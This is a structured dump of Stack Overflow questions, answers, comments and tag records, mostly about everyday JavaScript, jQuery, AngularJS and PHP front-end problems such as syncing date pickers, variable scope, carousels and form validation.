has body: With the help of html's input type=date and some basic classes' knowledge, you can do that.. Considering you have following Date pickers: &lt;input type="date" class="dateTime"&gt; &lt;input type="date" class="dateTime"&gt; &lt;input type="date" class="dateTime"&gt; Now you simply need to listen to a change in any one of there values: $(".dateTime").on("change", function(){ and when the change occurs, get the changed value and set all other date pickers to that new value: $(".dateTime").val($(this).val()); So it'll be something like this: $(document).ready(function(){ $(".dateTime").on("change", function(){ $(".dateTime").val($(this).val()); }); }); See the DEMO here EDIT: Considering you're new to JavaScript, here's how i'm getting the reference to all those elements, through .className, as they all have same class name so for each event (change, update value) they all will be referenced.
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25867257
score: 1

http://stackoverflow.com/comment/40354911
has text: I was just about to mention that you had no `output` element. I'm glad you figured that out yourself.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25799458
type: AnswerComment

http://stackoverflow.com/q/25807887
has title: Using an Offline Context in the Web Audio API "shift" the signal of ~264 samples
tagged with: http://stackoverflow.com/tag/html
tagged with: web-audio-api
favorite count: 0
tagged with: html5-audio
type: UnansweredQuestion
score: 6
has comment: http://stackoverflow.com/comment/40424996
upvote count: 6
has comment: http://stackoverflow.com/comment/40388086
has comment: http://stackoverflow.com/comment/40369554
has comment: http://stackoverflow.com/comment/40369210
answer count: 0
has comment: http://stackoverflow.com/comment/40370005
type: Question
has comment: http://stackoverflow.com/comment/40370835
has comment: http://stackoverflow.com/comment/40393793
has comment: http://stackoverflow.com/comment/40380570
downvote count: 0
tagged with: javascript
has body: The issue is very simple. If I instantiate a OfflineAudioContext, create a bufferSource, run it through a Compressor node (or a Panner) and wait for the .oncomplete event, the resulting e.renderedBuffer contains the processed source, only shifted about 264 samples to the right (from my empirical evidence). This means that the first 264 samples of the resulting buffer are 0, and the last samples are truncatd early. The resulting buffer length is the same of the source buffer. Is this a known behaviour?
has comment: http://stackoverflow.com/comment/40371031

http://stackoverflow.com/a/26361635
upvote count: 10
answers question: http://stackoverflow.com/q/25740110
has body: managed to resolve this... remove the line from div tag flow-files-submitted="$flow.upload()" then onclick of a button, pass in $flow in as a paramater ng-click="InsertItems($flow)" Javascript:- $scope.InsertItems = function(e) { //Do what you need to do e.upload(); }
score: 10
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/25740110

http://stackoverflow.com/comment/81167355
has text: This workaround is uneeded for sites like *i.chzbgr.com* that have fully permissive CORS set. You can just use an ` ` tag. ... For *i.imgur.com*, though, this workaround seems needed because the server restricts CORS methods to `GET, OPTIONS`.
score: 0
comment on: http://stackoverflow.com/a/30517793
type: Comment
type: AnswerComment

http://stackoverflow.com/a/25780720
type: Answer
has body: That is a very difficult way to gather up the data. Try this instead: var data = {}; data.subject_id = '&lt;?php echo $_REQUEST['actual_subject_id']; ?&gt;'; data.id_user = '&lt;?php echo $_REQUEST['id_user']; ?&gt;'; data.action = '&lt;?php echo $_REQUEST['action']; ?&gt;'; data.sub_id = '&lt;?php echo $_REQUEST['subject_id']; ?&gt;'; data.occurence_name = $("#occurency").text(); data.subject_name = $("#subject").text(); data.message = CKEDITOR.instances['message'].getData(); $.ajax({ type: "POST", url: "data/user-student-data.php", data: data, success: function(returnedData) { // whatever you had here } }); Also // You can remove the for completely.. THIS: for(var instanceName in CKEDITOR.instances){ CKEDITOR.instances['message'].updateElement(); } // Is the same as this (you don't use the instanceName variable at all) CKEDITOR.instances['message'].updateElement();
answers question: http://stackoverflow.com/q/25762035
score: 0

http://stackoverflow.com/a/25871772
answers question: http://stackoverflow.com/q/25869735
has body: What works for me is adding the ng-csp directive to the HTML tag. This disables some of the dynamic content stuff of Angular. I didn't even wrap anything in exeUnsafeLocaFunction. I'm not sure if it will work on Angular UI Router though... More on the ng-csp directive here...
upvote count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/40487360
type: Answer
score: 1

http://stackoverflow.com/comment/40472584
has text: Or just `$.proxy(this.getEventsData, this)`, assuming the function is called with the correct context the first time.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25864358
type: Comment

http://stackoverflow.com/a/25745982
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25744805
type: Answer
has body: You can use session to store value and get it as where it required. This is the reference link for jQuery session. https://github.com/AlexChittock/JQuery-Session-Plugin just store value in session like: $.session.set("extendedAT", extendedAT); and get it where you want to again using: $.session.get('extendedAT'); I am using it. Hope help you. Also I will happy if any new idea posted here for this.
answers question: http://stackoverflow.com/q/25744805
score: 0

http://stackoverflow.com/comment/40364269
comment on: http://stackoverflow.com/a/25804896
type: AnswerComment
score: 0
type: Comment
has text: @JoaoLeal right, SO didnt talk about, i edit my answer

http://stackoverflow.com/a/25713344
answers question: http://stackoverflow.com/q/25713190
has body: You could try loading your script after the tag. It's being executed before the DOM loads, most likely. Or, by referencing the function through a variable, instead of letting the script self-execute, your script will automatically be executed only after the DOM is available. http://jsfiddle.net/5pfhgk5c/ var colorBox = function () { var udata = [100]; if (udata &gt;= 70) { document.getElementById("centerbox1").style.backgroundColor = '#99C262'; } else if (udata &gt;= 51 &amp;&amp; udata.value &lt; 70) { document.getElementById("centerbox1").style.backgroundColor = '#F8D347'; } else if (udata &lt;= 50) { document.getElementById("centerbox1").style.backgroundColor = '#FF6C60'; } } colorBox(); // Call the script like this
score: 0
type: Answer

http://stackoverflow.com/comment/40214256
type: Comment
type: QuestionComment
has text: @Harry i want the canvas to be created and displayed on click.Is it possible
comment on: http://stackoverflow.com/q/25723394
score: 0

http://stackoverflow.com/q/25721151
possible better answer: http://stackoverflow.com/a/25721739
has answer: http://stackoverflow.com/a/25721739
type: Question
accepted answer: http://stackoverflow.com/a/25721169
tagged with: javascript
tagged with: scope
answer count: 3
has title: Javascript variable scope. What's going on here?
downvote count: 0
has body: Can someone explain why I'm getting "global value" logged when I execute this code? function printFoo() { console.log(foo); } var foo = 'global value'; (function () { var foo = 'local value'; printFoo(); })(); I understand that when resolving a variable, javascript starts at the innermost scope and searches outwards, so why is it not printing the local value here if it's defined earlier in the scope chain?
favorite count: 0
has answer: http://stackoverflow.com/a/25721169
type: AnsweredQuestion
score: 2
has answer: http://stackoverflow.com/a/25721237
upvote count: 2

http://stackoverflow.com/q/25729423
has comment: http://stackoverflow.com/comment/40225946
tagged with: jquery
has title: How to set jQuery ID for bunch of php generated DIVs?
has comment: http://stackoverflow.com/comment/40225950
has body: I'm using a Lightbox gallery for my website, the jQuery code is jQuery(function( $ ) { $('.tosrus a').tosrus({ pagination : { add : true, type : "thumbnails" }, buttons : true }); }); My galleries will be generated via PHP, and each gallery will have different images, if I use class to detect the gallery it will show all the images in the page. So I should use ID to detect each gallery but the thing is I'm not very familiar with jQuery at all. My PHP code is $j = 0; &lt;div id="tosrus-&lt;?= $j++ ?&gt;" class="tosrus thumbs"&gt; &lt;a href="&lt;? the_sub_field('images-list'); ?&gt;"&gt; &lt;img src="&lt;? the_sub_field('images-list'); ?&gt;"&gt;&lt;/a&gt; &lt;/div&gt; So the result will be like tosrus-1, tosrus-2 for each div. Anybody have any idea how can i get this work?
tagged with: php
has answer: http://stackoverflow.com/a/25730118
has comment: http://stackoverflow.com/comment/40225481
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40225502
has answer: http://stackoverflow.com/a/25729979
type: Question
has comment: http://stackoverflow.com/comment/40225782
tagged with: javascript
has comment: http://stackoverflow.com/comment/40225498
score: 0
has comment: http://stackoverflow.com/comment/40226235
answer count: 2

http://stackoverflow.com/a/25755190
type: Answer
answers question: http://stackoverflow.com/q/25755096
score: 0
has body: You could create an iframe with the src set to your MP3. That's only half the solution though. To ensure the user is prompted to download the file, rather than just get a player, you will need to set the following header through your server configuration (i.e.e mod_headers) or by a script (i.e. PHP). Content-Disposition: attachment; filename=somefilename.mp3; Example: $("#button").on("click",function(){ $("&lt;iframe /&gt;") .css({width:0,height:0}) .attr("src", "URL_TO_MP3") .appendTo("body"); });
has comment: http://stackoverflow.com/comment/40273937

http://stackoverflow.com/q/25805026
tagged with: jasper-reports
tagged with: javascript
score: 0
answer count: 1
tagged with: jquery
favorite count: 0
tagged with: ajax
has answer: http://stackoverflow.com/a/25816368
has body: If I run the query and if it returns a null resultset, JasperRunManager.runReportToPdfStream returns a blank pdf but I want to display an error message instead of opening a download pop-up. My java code is: Connection con = null; Statement stmt = null; ResultSet rs = null; OutputStream outStream = resourceResponse.getPortletOutputStream(); try{ JasperCompileManager.compileReportToFile(jrxmlPath,jasperPath); InputStream reportStream = getPortletConfig().getPortletContext().getResourceAsStream(jasperPath); Class.forName("com.ibm.db2.jcc.DB2Driver"); con=DriverManager.getConnection("jdbc:db2://localhost:50000/wpsdb", db2username, db2password); StringBuffer stringBuffer = new StringBuffer(); stringBuffer.append("select row_number() over(order by f.created_date) as \"SerialNo\"" + ", f.name as \"File\", f.created_by as \"CreatedBy\", f.created_date as " + "\"CreatedOn\", c.name as \"Category\",t.name as \"Tag\" " + "from DMS.File f, DMS.Category c, DMS.Tag t where c.id=f.catid and t.id=f.tagid"); stmt = con.createStatement(); rs = stmt.executeQuery(stringBuffer.toString()); if( !rs.next() ) { //handle the code to redirect to same page and display data not found message } else { JRResultSetDataSource resultSetDataSource = new JRResultSetDataSource(rs); resourceResponse.setContentType("application/pdf"); resourceResponse.setProperty("Content-disposition", "attachment; filename=\"DMS_File_Report.pdf\""); resourceResponse.setCharacterEncoding("UTF-8"); JasperRunManager.runReportToPdfStream(reportStream, outStream, new HashMap(), resultSetDataSource); }catch(Exception e){ e.printStackTrace(); } With ajax I am not able to open the pop-up, so I have used window.location.href instead. Here's my javascript part: function genReport(){ url = "&lt;portlet:resourceURL id='generateReport'&gt;&lt;/portlet:resourceURL&gt;"; url +="?param1="+param1; window.location.href=url; } I don't want to save the file, I want it to be generated and downloaded on the fly without save to underlying di…
has title: JasperRunManager.runReportToPdfStream returns a blank pdf when resultset is null
type: UnansweredQuestion
upvote count: 1
downvote count: 1
type: Question

http://stackoverflow.com/a/25785197
has comment: http://stackoverflow.com/comment/40327844
downvote count: 0
answers question: http://stackoverflow.com/q/25784729
has body: Try updating this part of the code: navigationMenu.onmouseout = function() { classie.toggle( navigationEdge, 'active' ).delay(100); classie.toggle( showLeft, 'active' ); classie.toggle( menuLeft, 'cbp-spmenu-open' ); };
upvote count: 2
accepted answer of: http://stackoverflow.com/q/25784729
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40329874
type: Answer
score: 2

controller
tags question: http://stackoverflow.com/q/25782553
tag name: controller
tags question: http://stackoverflow.com/q/25805770
type: Tag
tags question: http://stackoverflow.com/q/25815800
tags question: http://stackoverflow.com/q/25867482

http://stackoverflow.com/q/25800250
has comment: http://stackoverflow.com/comment/40356114
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40356318
type: Question
has title: AngularJs: using $setValidity on array input
has answer: http://stackoverflow.com/a/25801628
accepted answer: http://stackoverflow.com/a/25801628
linked to: http://stackoverflow.com/q/23616578
has body: I'm working with AngularJs 1.2. I have a problem with $setValidity. I have a form input with ng-repeat : &lt;div ng-repeat="(key, value) in addition_page"&gt; &lt;input ng-model="addition_page[key].name" name="pagename[{{key}}]" not-duplicated="1"&gt; &lt;/div&gt; Now I need to use $setValidity on some specify input, but I failed scope["finish_form"]["pagename[0]"].$setValidity('not-duplicated', false); I tried to log: console.log(scope["finish_form"]["pagename[0]"]) =&gt; return undefined console.log(scope["finish_form"]["pagename[{{key}}]"]) =&gt; return last input I inspected element on browser, pagename[0] is existed. I need help, plz. Thank you all. Update: .directive('notDuplicated', [function() { return { require: 'ngModel', link: function(scope, elem, attr, ngModel) { var val_id = attr.notDuplicated; var setValidity = function(value) { if (value === "") return true; var same_now = []; var same_past = []; angular.element("[not-duplicated=" + val_id + "]").each(function(k, v) { if (angular.element(v).val() === value) { same_now.push(k); } if (ngModel.$modelValue !== "" &amp;&amp; angular.element(v).val() === ngModel.$modelValue) { same_past.push(k); } }) // mark old input is valid if (same_past.length === 1) { scope["finish_form"]["pagename[" + same_past[0] + "]"].$setValidity('not-duplicated', true); } // mark new inputs is invalid if (same_now.length &gt; 1) { same_now.each(function(k) { scope["finish_form"]["pagename[" + k + "]"].$setValidity('not-duplicated', false); }); return false; } return true; } //For DOM -&gt; model validation ngModel.$parsers.unshift(function(value) { var valid = setValidity(value); return valid ? value : undefined; }); //For model -&gt; DOM validation ngModel.$formatters.unshift(function(value) { setValidity(value); return value; }); } }; }]);
tagged with: javascript
has comment: http://stackoverflow.com/comment/40356658
score: 0
has comment: http://stackoverflow.com/comment/40356210
tagged with: validation
answer count: 1
has comment: http://stackoverflow.com/comment/40356194
tagged with: angularjs

http://stackoverflow.com/q/25721304
answer count: 1
has comment: http://stackoverflow.com/comment/40210758
has comment: http://stackoverflow.com/comment/40210525
linked to: http://stackoverflow.com/q/728360
has body: I'm trying to walk through a sorted array and count the duplicates to create a new summary-array. for (var i = 0; i &lt; newCart.length; i++) { //if new item. console.log(JSON.stringify(newCart[i - 1])) if ( JSON.stringify(newCart[i - 1]) !== JSON.stringify(newCart[i])) { //add to new displayed items in cart results.push(newCart[i]); results[results.length - 1].count = 1 }else{ console.log('second') //add one to the count. results[results.length - 1].count++; } } When I'm looping through this with three items, I get the following output: undefined {"id":1,"name":"Skateboard","price":1299,"currency":"SEK","image":"/static/img/products/1.jpg","thumbnail":"/static/img/products/1-t.jpg","description":"This board is the boss!","count":1} main.js:47 {"id":1,"name":"Skateboard","price":1299,"currency":"SEK","image":"/static/img/products/1.jpg","thumbnail":"/static/img/products/1-t.jpg","description":"This board is the boss!","count":1} How is it possible that the count variable ends up in the newCart-array?
has comment: http://stackoverflow.com/comment/40210412
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40210372
has comment: http://stackoverflow.com/comment/40210464
has comment: http://stackoverflow.com/comment/40210495
has title: How come variable get's assigned to another array?
has comment: http://stackoverflow.com/comment/40210470
type: Question
has comment: http://stackoverflow.com/comment/40210384
has answer: http://stackoverflow.com/a/25721465
has comment: http://stackoverflow.com/comment/40210584
tagged with: javascript
score: 0

http://stackoverflow.com/a/25836766
has comment: http://stackoverflow.com/comment/40422365
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/25836682
answers question: http://stackoverflow.com/q/25836682
has body: It's a bug that affects Firefox 32.0 and 32.0.1. It has already been fixed on Firefox 33 Beta.
score: 5
upvote count: 5

http://stackoverflow.com/q/25852361
has body: I need to make big DIV structures and append them to a wrapper. But what I've seen so far was always about appending one DIV element into another one. There is an empty DIV-Wrapper, to be filled with "big" DIV-Elements // Content should be added to here The DIV-Elements which I want to append to the PostWrapper look like this: Tom 10 minutes ago Hey Tom, great work at the presentation last week. Well done! So this is an example of a DIV-Structure which I'd like to build and store in a javascript Variable and append to my wrapper like: var postElement = $("div", {class: "Post"}).append("div", {class: "PostHead"}).append("div", {class: "PostBody"})...... This wont work like expected ofc. But I can't think of a simple way of doing this without having overly complexe code. How would that be possible?
score: 3
has answer: http://stackoverflow.com/a/25852431
has answer: http://stackoverflow.com/a/25852544
accepted answer: http://stackoverflow.com/a/25852490
has answer: http://stackoverflow.com/a/46697785
downvote count: 0
tagged with: javascript
tagged with: jquery
favorite count: 0
has title: How to build "big" div structures in JavaScript (JQuery)?
answer count: 5
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40450868
tagged with: append
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25852490
upvote count: 3
has comment: http://stackoverflow.com/comment/40450782
has answer: http://stackoverflow.com/a/25852512
possible better answer: http://stackoverflow.com/a/25852431
type: Question

http://stackoverflow.com/q/25733921
has comment: http://stackoverflow.com/comment/40911496
answer count: 1
favorite count: 0
tagged with: mixpanel
type: AnsweredQuestion
downvote count: 0
score: 1
has answer: http://stackoverflow.com/a/36416813
type: Question
accepted answer: http://stackoverflow.com/a/36416813
has comment: http://stackoverflow.com/comment/49983298
tagged with: javascript
has title: Mixpanel tracking not working
has body: I'm new to mixpanel and JS, and would like to know why is my script not working... Any ideas? &lt;script&gt; $('#tp_end_result').hover(function () { mixpanel.track("Hover Spot"); console.log("Funciona"); }); &lt;/script&gt; Thanks
has comment: http://stackoverflow.com/comment/47743875
upvote count: 1

http://stackoverflow.com/a/25819675
upvote count: 2
answers question: http://stackoverflow.com/q/25819620
type: Answer
score: 2
downvote count: 0
has body: You may also consider splitting your string. var s = 'Hello {{{user.fname}}} {{{user.lname}}}, how are you. {{{someVar}}}', r = s.split(/({{{[^}]+}}})/).filter(Boolean); console.log(r); [ 'Hello ', '{{{user.fname}}}', ' ', '{{{user.lname}}}', ', how are you. ', '{{{someVar}}}' ]

http://stackoverflow.com/comment/40425343
comment on: http://stackoverflow.com/a/25838288
type: Comment
has text: didn't work, thanks for the suggestion though! I'm pretty sure my issue is with how polymer uses double mustache expressions..
score: 0
type: AnswerComment

http://stackoverflow.com/q/25751697
has comment: http://stackoverflow.com/comment/40267203
score: 0
has body: I have a photos.php page that is getting called dynamically with the help of jquery load function as below : $("#photo_gallery").load("./photos.php" However I want a way to manually stop the loading of photos.php if the user clicks another button exactly after the above function call . for example if the user clicks a button that triggers $("#photo_gallery").load("./photos.php") and after exact next moment,if the user clicks another button,then the above loading should immediately stopped.Appreciate if anyone can help me here. $("#photo_gallery).empty() will not work here (it doesn't work while the php page loads,it only works when after/before the load)
answer count: 1
has comment: http://stackoverflow.com/comment/40267097
has answer: http://stackoverflow.com/a/25751784
tagged with: javascript
type: UnansweredQuestion
tagged with: jquery
linked to: http://stackoverflow.com/q/2813168
type: Question
has title: Manually stop loading of php in jquery on load

http://stackoverflow.com/comment/40206576
comment on: http://stackoverflow.com/q/25719154
score: 0
type: Comment
type: QuestionComment
has text: i'm sorry, i don't understand the question.. i can see that you've fixed it for me. can you tell what i have missed?

http://stackoverflow.com/comment/40273679
comment on: http://stackoverflow.com/a/25754413
has text: Ah! That's it, it was ECMAScript Thanks!
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40482264
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25867482
has text: yes. "labs", "computers" and "hists" are the controllers names.
score: 0

http://stackoverflow.com/comment/40362357
type: AnswerComment
comment on: http://stackoverflow.com/a/25803883
type: Comment
has text: Explain why he should use `then()` instead of `success()`!
score: 0

datetimepicker
type: Tag
tags question: http://stackoverflow.com/q/25805008
tag name: datetimepicker
tags question: http://stackoverflow.com/q/25766743
tags question: http://stackoverflow.com/q/25866892

http://stackoverflow.com/comment/40250522
type: Comment
type: QuestionComment
has text: yes. I have tried with xaxisdomain (attribute name in angular-nvd3) and forcex. It should work either with xAxisTickValues or forcex, I have used it before for non-date domain. Not working in the current case.
score: 0
comment on: http://stackoverflow.com/q/25741870

http://stackoverflow.com/a/25831941
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25831828
has body: First.prototype.hair is declared before First.prototype is overwritten with an instance of an object constructed by Second when First.prototype=new Second(); is called. To keep the hair property added to the prototype of First, add it to the prototype after you assign a instance of an object created by calling Second i.e. function First(name){ this.name=name; } function Second(){ this.age=1; } First.prototype=new Second(); // add to prototype after overwriting/assigning prototype above First.prototype.hair='black'; var tom=new First('tom'); tom.nail='sharp'; for(var i in tom){ console.log(i); }
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25831828
type: Answer

http://stackoverflow.com/q/25817833
answer count: 1
tagged with: javascript
tagged with: str-replace
has comment: http://stackoverflow.com/comment/40389766
accepted answer: http://stackoverflow.com/a/25817936
tagged with: php
has comment: http://stackoverflow.com/comment/40388279
type: AnsweredQuestion
has title: change string format in php by add \n so that it works in a js file that reads csv
score: 0
has comment: http://stackoverflow.com/comment/40388362
type: Question
has comment: http://stackoverflow.com/comment/40388326
has answer: http://stackoverflow.com/a/25817936
has body: this is the string I have : #jazzy # Audience Overview 2014-09-03,28 2014-09-04,17 2014-09-05,20 2014-09-06,3204 2014-09-07,1717 2014-09-08,737 2014-09-09,160 2014-09-10,89 2014-09-11,85 2014-09-12,21 I need it in this format: \n#jazzy\n# Audience Overview\nDay,Visits\n3/9/14,9691\n1/10/14,35403\n2/10/14,35403\n I have tried str_replace it didn't work. when I echo the value I need it to be the second one. any help please

http://stackoverflow.com/comment/40468849
type: Comment
has text: @J82 I can help you with that... if you can share a dev environment for remote support... if you wish
type: AnswerComment
comment on: http://stackoverflow.com/a/25840472
score: 0

http://stackoverflow.com/q/25719124
tagged with: css
score: 2
type: AnsweredQuestion
upvote count: 2
accepted answer: http://stackoverflow.com/a/25719799
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25719799
has body: I have 4 images on my webpage, when I click one of them, the clicked image is highlighted. I achieve using this : JS1 : var ImageSelector = function() { var imgs = null; var selImg = null; return { addImages: function(container) { imgs = container.getElementsByTagName("img"); for(var i = 0, len = imgs.length; i &lt; len; i++) { var img = imgs[i]; img.className = "normal"; img.onclick = function() { if(selImg) { selImg.className = "normal"; } this.className = "highlighted"; selImg = this; urlSet(this.src); }; } } }; }(); JS 2: var div = document.getElementById("menu"); ImageSelector.addImages(div); CSS : .normal { border:none; } .highlighted { border:8px solid #19A3FF; } I have inserted a jQuery code that displays all images in a folder, which is this : var dir = "images/"; var fileextension = ".jpg"; $.ajax({ //This will retrieve the contents of the folder if the folder is configured as 'browsable' url: dir, success: function (data) { //Lsit all png file names in the page $(data).find("a:contains(" + fileextension + ")").each(function () { var filename = this.href.replace(window.location, "").replace("http://example.com/", ""); $(".menu").append($("&lt;img src=" + dir + filename + " width=300 height=300&gt;")); }); } }); HTML code is this : &lt;div&gt; &lt;div id="menu" class = "menu"&gt; &lt;/div&gt;&lt;/div&gt; When I inserted that jQuery code, the images are displayed but not clickable anymore. How can I make them clickable again? Thanks.
has title: Auto-Generated images are not clickable
downvote count: 0
answer count: 1
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/40206517
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/comment/40446247
type: AnswerComment
comment on: http://stackoverflow.com/a/25845627
type: Comment
has text: @divakar [Have you ?](http://jsfiddle.net/m8LyqkLg/) If you're gonna ask questions, at least take the time to read the answers.
score: 0

http://stackoverflow.com/a/25735119
accepted answer of: http://stackoverflow.com/q/25734740
type: AcceptedAnswer
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/40239993
has body: See http://jsfiddle.net/98hoL701/3/ As far as I know validation only works with forms, not divs. Also you're trying to validate on href click, by default validation works on input submit. So I added form to your sample and validated the form, also called the validation on href click: $("#aNext").on("click", function(){ var val = $('#myform').valid(); if (!val) { return false; } });
has comment: http://stackoverflow.com/comment/40274522
has comment: http://stackoverflow.com/comment/40261041
has comment: http://stackoverflow.com/comment/40239820
answers question: http://stackoverflow.com/q/25734740

http://stackoverflow.com/comment/40364846
type: QuestionComment
comment on: http://stackoverflow.com/q/25805173
score: 0
has text: you need change height
type: Comment

http://stackoverflow.com/comment/40340987
type: Comment
type: QuestionComment
score: 0
has text: It's for a project I'm working on. It would be fully disclosed from our website that we are capturing this information to save them time when they are filling out our forms. It's not unethical or illegal when it's fully disclosed.
comment on: http://stackoverflow.com/q/25792218

http://stackoverflow.com/tag/json
tags question: http://stackoverflow.com/q/25727852
tags question: http://stackoverflow.com/q/25819185
tags question: http://stackoverflow.com/q/25804087
tags question: http://stackoverflow.com/q/25797801
tags question: http://stackoverflow.com/q/25746259
tags question: http://stackoverflow.com/q/25780280
tags question: http://stackoverflow.com/q/25813373
tags question: http://stackoverflow.com/q/25815712
tags question: http://stackoverflow.com/q/25844326
tags question: http://stackoverflow.com/q/25795970
tags question: http://stackoverflow.com/q/25769743
tags question: http://stackoverflow.com/q/25855384
tags question: http://stackoverflow.com/q/25782020
tags question: http://stackoverflow.com/q/25856959
tags question: http://stackoverflow.com/q/25824488
tags question: http://stackoverflow.com/q/25742089
tags question: http://stackoverflow.com/q/25776696
tags question: http://stackoverflow.com/q/25737172
tags question: http://stackoverflow.com/q/25736896
tags question: http://stackoverflow.com/q/25820995
tags question: http://stackoverflow.com/q/25748328
tags question: http://stackoverflow.com/q/25769851
tags question: http://stackoverflow.com/q/25771419
tags question: http://stackoverflow.com/q/25786650
tags question: http://stackoverflow.com/q/25723801
tags question: http://stackoverflow.com/q/25806876
tags question: http://stackoverflow.com/q/25855709
tags question: http://stackoverflow.com/q/25844751
tags question: http://stackoverflow.com/q/25740010
tags question: http://stackoverflow.com/q/25797961
tags question: http://stackoverflow.com/q/25822881
tags question: http://stackoverflow.com/q/25860367
tags question: http://stackoverflow.com/q/25806107
tags question: http://stackoverflow.com/q/25871433
tags question: http://stackoverflow.com/q/25869511
tags question: http://stackoverflow.com/q/25866930
tags question: http://stackoverflow.com/q/25760467
tags question: http://stackoverflow.com/q/25794705
tags question: http://stackoverflow.com/q/25752552
tags question: http://stackoverflow.com/q/25774302
tags question: http://stackoverflow.com/q/25832244
tags question: http://stackoverflow.com/q/25847996
tags question: http://stackoverflow.com/q/25724732
tags question: http://stackoverflow.com/q/25872726
tags question: http://stackoverflow.com/q/25805991
tags question: http://stackoverflow.com/q/25804775
tags question: http://stackoverflow.com/q/25750649
tags question: http://stackoverflow.com/q/25829315
tags question: http://stackoverflow.com/q/25790624
tags question: http://stackoverflow.com/q/25793182
tags question: http://stackoverflow.com/q/25756196
tags question: http://stackoverflow.com/q/25833058
tags question: http://stackoverflow.com/q/25768904
tags question: http://stackoverflow.com/q/25800891
tags question: http://stackoverflow.com/q/25779395
tags question: http://stackoverflow.com/q/25855143
tags question: http://stackoverflow.com/q/25773732
tags question: http://stackoverflow.com/q/25867842
tags question: http://stackoverflow.com/q/25772074
tags question: http://stackoverflow.com/q/25787143
tags question: http://stackoverflow.com/q/25770964
tags question: http://stackoverflow.com/q/25778134
tags question: http://stackoverflow.com/q/25854195
tags question: http://stackoverflow.com/q/25777879
tags question: http://stackoverflow.com/q/25822397
tags question: http://stackoverflow.com/q/25796554
tags question: http://stackoverflow.com/q/25785050
tags question: http://stackoverflow.com/q/25766624
tags question: http://stackoverflow.com/q/25737317
tags question: http://stackoverflow.com/q/25833221
tags question: http://stackoverflow.com/q/25769980
tags question: http://stackoverflow.com/q/25734756
type: Tag
tags question: http://stackoverflow.com/q/25838202
tags question: http://stackoverflow.com/q/25782555
tags question: http://stackoverflow.com/q/25765962
tags question: http://stackoverflow.com/q/25778739
tags question: http://stackoverflow.com/q/25716514
tags question: http://stackoverflow.com/q/25757812
tags question: http://stackoverflow.com/q/25801415

http://stackoverflow.com/a/27494268
answers question: http://stackoverflow.com/q/25812617
type: Answer
has body: I had a similar problem, but needed to be able to dynamically change the number of slides. To keep it simple, I chose to base it on the visibility of the carousel indicators. I added the following to bootstrap.js, just after the variable declarations inside Carousel.prototype.slide(): var $nextIndicator; if (this.$indicators.length) { var iChildren = this.$indicators.children(); var i=0; while (($nextIndicator = $(iChildren[this.getItemIndex($next)])) &amp;&amp; !$nextIndicator.is(':visible') &amp;&amp; i&lt;iChildren.length) { $next = $next[type](); if (!$next.length) { if (!this.options.wrap) return $next = this.$element.find('.item')[fallback]() } i++; } } To remove slides I put the following in my own code: $indicatorsToRemove.hide(); // don't leave user on a page that got removed: if ($indicatorsToRemove.filter('.active').length) { $('#carousel').carousel('next'); } To add them back: $indicatorsToAdd.show();
score: 0

http://stackoverflow.com/comment/118235455
comment on: http://stackoverflow.com/a/34783008
type: Comment
has text: i.e what you always thought of as UNIX timestamp is actually incorrect. You have them backwards. There is a reason why moment js calls the function `unix`...
score: 0
type: AnswerComment

http://stackoverflow.com/q/25742793
accepted answer: http://stackoverflow.com/a/25744221
type: AnsweredQuestion
score: 0
type: Question
tagged with: c#
tagged with: javascript
has answer: http://stackoverflow.com/a/25744221
has title: How to call a function inside a scriptcontrol from outside using javascript
answer count: 1
tagged with: jquery
has body: I look it up for a while but couldn't find the answers I'm looking for. I'm create an new TextBox from scratch using the IScriptControl and ScriptManager. everything works fine inside my scriptcontrol but I'm wondering how I can trigger a function inside the scriptcontrol from outside. to give an example. Lets say I have this: Type.registerNamespace('QuyoDevLib.Web.UI'); QuyoDevLib.Web.UI.InputBox = function (element) { QuyoDevLib.Web.UI.InputBox.initializeBase(this, [element]); this._element = this.get_element(); } QuyoDevLib.Web.UI.InputBox.prototype = { initialize: function () { QuyoDevLib.Web.UI.InputBox.callBaseMethod(this, 'initialize'); }, dispose: function () { QuyoDevLib.Web.UI.InputBox.callBaseMethod(this, 'dispose'); }, doSomething: function() { //do something usefull } } QuyoDevLib.Web.UI.InputBox.registerClass('QuyoDevLib.Web.UI.InputBox', Sys.UI.Control); if (typeof (Sys) !== 'undefined') Sys.Application.notifyScriptLoaded(); $create(QuyoDevLib.Web.UI.InputBox, null, null, null, $get("TestControl")) How can I make this underlaying javascript work to trigger the "doSomething" function inside my scriptcontrol? What I had in mind you see under here but this doesn't work I already tested it. &lt;script&gt; function test() { $get("TestControl").doSomething(); } &lt;/script&gt;

http://stackoverflow.com/a/25738785
upvote count: 0
accepted answer of: http://stackoverflow.com/q/25738676
answers question: http://stackoverflow.com/q/25738676
has comment: http://stackoverflow.com/comment/40243550
type: AcceptedAnswer
has body: https://stackoverflow.com/a/17789110/3381024 the :after selector cannot be reached by jquery as it is not technically part of the DOM. if you are using jquery anyway, append another class to it. however for the use of an absolutely positioned element, not sure why :after would be needed when you can just make a new element and style it up anyway
type: Answer
score: -1
has comment: http://stackoverflow.com/comment/40243777
downvote count: 1
has comment: http://stackoverflow.com/comment/40243580

http://stackoverflow.com/comment/40357108
score: 0
type: Comment
has text: But they both return filters, why would one accept the array as ng-repeat and one only the items.
type: AnswerComment
comment on: http://stackoverflow.com/a/25800861

http://stackoverflow.com/q/25856489
